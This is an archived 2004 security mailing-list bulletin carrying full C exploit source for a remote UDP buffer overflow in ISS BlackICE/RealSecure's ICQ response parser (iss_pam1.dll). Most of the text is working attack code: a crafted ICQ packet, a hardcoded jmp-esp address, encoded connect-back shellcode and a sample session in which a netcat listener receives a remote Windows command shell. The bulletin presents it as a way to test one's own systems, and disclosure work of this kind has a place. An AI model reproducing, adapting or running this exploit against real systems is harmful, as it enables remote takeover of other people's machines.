[EXPL] ISS PAM ICQ Server Response Processing Exploit

From: SecuriTeam (support_at_securiteam.com)
Date: 03/30/04

  • Next message: SecuriTeam: "[EXPL] Ethereal IGAP Dissector Message Overflow Exploit"
    To: list@securiteam.com
    Date: 30 Mar 2004 15:50:56 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      ISS PAM ICQ Server Response Processing Exploit
    ------------------------------------------------------------------------

    SUMMARY

    As we previously reported in
    <http://www.securiteam.com/windowsntfocus/5FP0O0UCAC.html> ISS PAM ICQ
    Server Response Processing Vulnerability, a vulnerability in ISS PAM ICQ
    Server parsing allows a remote attacker to crash the ISS program and cause
    it to execute arbitrary code. The following exploit code can be used to
    test your system for the mentioned vulnerability.

    DETAILS

    Exploit:
    /* 557iss_pam_exp - RealSecure / Blackice iss_pam1.dll remote overflow
    exploit
    *
    * Copyright (c) SST 2004 All rights reserved.
    *
    * Public version
    *
    * code by Sam (Sam`@efnet) and 2004/03/26
    * <chen_xiaobo@venustech.com.cn>
    * <Sam@0x557.org>
    *
    *
    *
    * Compile: gcc -o 557iss_pam_exp 557iss_pam_exp.c
    *
    * how works?
    * [root@core exp]# ./557iss_pam_exp 192.168.10.2 192.168.10.169 5570
    * 557iss_pam_exp - RealSecure / Blackice iss_pam1.dll remote overflow
    exploit
    * - Sam
    *
    * # attack remote host: 192.168.10.2.
    * # listen host: 192.168.10.169.
    * # listen port: 5570.
    * # send overflow udp datas
    * # 1199 bytes send
    * # done.
    * # make sure we are in, dude :)
    *
    *
    * [root@core root]# nc -vv -l -p 5570
    * listening on [any] 5570 ...
    * 192.168.10.2: inverse host lookup failed: Host name lookup failure
    * connect to [192.168.10.169] from (UNKNOWN) [192.168.10.2] 3604
    * Microsoft Windows XP [Version 5.1.2600]
    * (C) Copyright 1985-2001 Microsoft Corp.
    *
    * C:\Program Files\ISS\BlackICE>
    * C:\Program Files\ISS\BlackICE>
    * C:\Program Files\ISS\BlackICE>
    *
    *
    * some thanks/greets to:
    * eeye (they find this bug :D), airsupply, kkqq, icbm, my gf :I
    * and everyone else who's KNOW SST ;P
    * http://0x557.org
    */

    #include <stdio.h>
    #include <unistd.h>
    #include <stdarg.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <netinet/tcp.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <string.h>
    #include <assert.h>
    #include <fcntl.h>
    #include <sys/time.h>

    char icq_header [] =
    "\x05\x00" // ICQ VERSION
    "\x00" // unused
    "\x00\x00\x00\x00" // Session ID
    "\x12\x02" // reply to SRV_MULTI_PACKET
    "\x00\x00\x00\x00" // SEQ_NUM1 and SEQ_NUM2
    "\x00\x00\x00\x00" // UIN Your (the client's) UIN
    "\x00\x00\x00\x00" // CHECKCODE
    "\x02" // SRV_MULTI Parameter Block 1 of 2
                       // Number of individual responses
    "\x2c\x00" // Size of sub-response (44 bytes, little-endian)

    "\x05\x00" // ICQ VERSION
    "\x00" // unused
    "\x00\x00\x00\x00" // Session ID
    "\x6e\x00" // reply to SRV_USER_OLINE
    "\x00\x00\x00\x00" // SEQ_NUM1 and SEQ_NUM2
    "\x00\x00\x00\x00" // UIN Your (the client's) UIN
    "\x00\x00\x00\x00" // CHECKCODE
    "\x00\x00\x00\x00" // UIN of user changing status
    "\x01\x00\x00\x00" // Other user's IP address (1.0.0.0)
    "\x00\x00\x00\x00" // Other user's direct-connect port (default)
    "\x00"
    "\x00\x00\x00\x00"
    "\x00\x00\x00\x00"
    "\x00\x00"
    "\x41\x02" // SRV_MULTI Parameter Block 2 of 2
                       // Size of sub-response (577 bytes)

    "\x05\x00" // ICQ VERSION
    "\x00" // unused
    "\x00\x00\x00\x00" // Session ID
    "\xde\x03" // reply to SRV_META_USER
    "\x00\x00\x00\x00" // SEQ_NUM1 and SEQ_NUM2
    "\x00\x00\x00\x00" // UIN Your (the client's) UIN
    "\x00\x00\x00\x00" // CHECKCODE
    "\x00\x00\x00\x01"
    "\x00\x00\x01\x00"
    "\x00\x01\x00\x00"
    "\x1e\x02";

    struct sockaddr_in addr, local;
    char *bindHost = NULL;
    unsigned short port;
    /*
     * hsj's connect back shellcodes
     */
    char shellcode [] =
    /* decoder */
    "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
    "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
    "\x93\x40\xe2\xfa"
    /* code */
    "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"
    "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"
    "\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"
    "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"
    "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"
    "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8"
    "\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93"
    "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"
    "\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"
    "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"
    "\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60"
    "\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5"
    "\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"
    "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22"
    "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"
    "\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"
    "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3"
    "\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93"
    "\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"
    "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"
    "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
    "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
    "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
    "\x6c\xc4\x7b\x6c\xe6\xdb\x6c\xc4\x7b\xc0\x6c\xc4\x6b\xc3\x6c\xc4"
    "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
    "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50";

    /* udpconnect:
    *
    */
    int udpConnect (char *hostName)
    {

            struct hostent* host = NULL;
            int sock = -1;

            host = gethostbyname (hostName);
            if (NULL == host) {
                    perror ("gethostbyname() failed");
                    return -1;
            }

            sock = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP);
            if ( -1 == sock) {
                    perror ("socket() failed\n");
                    return -1;
            }

            memset (&addr, 0x00, sizeof (addr));
            addr.sin_addr = *(struct in_addr *) host->h_addr;
            addr.sin_family = AF_INET;
            addr.sin_port = htons(random());

            memset (&local, 0x00, sizeof (local));
            local.sin_family = AF_INET;
            local.sin_addr.s_addr = htonl (INADDR_ANY);
            local.sin_port = htons(4000);

            if (bind (sock, (struct sockaddr *) &local, sizeof(local)) != 0) {
                    perror ("bind error\n");
                    return -1;
            }

            return sock;
    }

    /* resolve listen host
    */
    unsigned int resolve (char *name)
    {
            struct hostent *he;
            unsigned int ip;

            if ((ip = inet_addr (name)) == (-1)) {
                    if ((he = gethostbyname (name)) ==0 )
                            return 0;
                    memcpy (&ip, he->h_addr, 4);
            }
            return ip;
    }

    /*
    * send datas
    */
    int udp_send (int sock, char *buffer, int buff_len)
    {
            int ret;

            ret = sendto (sock, buffer, buff_len, 0, (struct sockaddr *)&addr,
                    sizeof (struct sockaddr_in));
            if (ret <= NULL) {
                    perror ("sendto failed\n");
                    return -1;
            }

            fprintf (stderr, "# %d bytes send\n", ret);

            return ret;
    }

    /*
    * send evil datas, *** ISS's blackice.
    */
    int do_sendudp_data (char *hostName)
    {
         unsigned int cb;
            int sock;
            char expbuf[1200];

            memset (expbuf, 0x90, sizeof (expbuf));
            memcpy (expbuf, icq_header, sizeof (icq_header) - 1);
            
            /*
             * jmp esp opcodes from iss_pam1.dll
             */
            *(unsigned int *)&expbuf[637] = 0x5e077663;
            
            if (!(cb = resolve (bindHost))) {
                                    printf ("Unknown listen host\n");
                                    return -1;
             }
            port = htons (port);
            port ^= 0x9393;
            cb ^= 0x93939393;

            *(unsigned short *)&shellcode[330] = port;
            *(unsigned int *)&shellcode[335] = cb;
            
            memcpy (expbuf + 637 + 4, shellcode, strlen (shellcode));
            if ((sock = udpConnect (hostName)) < 0) {
                    printf ("connect failed\n");
                    exit (-1);
            }

         fprintf (stderr, "# send overflow udp datas\n");
            udp_send (sock, expbuf, sizeof (expbuf) - 1);

            close (sock);
            return 0;

    }

    /*
    * just main . dude.
    */
    int main (int argc, char **argv)
    {
         int new;
            char *target = NULL;

         fprintf (stderr, "557iss_pam_exp - RealSecure / Blackice iss_pam1.dll
    remote overflow exploit\n - Sam\n\n");
            if (argc != 4) {
                    fprintf (stderr, "%s <hostname> <listenhost> <listen
    port>\n", argv[0]);
                    fprintf (stderr, "listenhost, port: connect back host and
    port\n\n");
                    return -1;
            }

            target = argv[1];
            bindHost = argv[2];
            port = atoi (argv[3]);

         fprintf (stderr, "# attack remote host: %s. \n", target);
         fprintf (stderr, "# listen host: %s. \n", bindHost);
         fprintf (stderr, "# listen port: %d. \n", port);
            do_sendudp_data (target);
        
         fprintf (stderr, "# done.\n");
        
         fprintf (stderr, "# make sure we are in, dude :)\n\n");
        
            return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:Sam@0x557.org> Sam Chen.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[EXPL] Ethereal IGAP Dissector Message Overflow Exploit"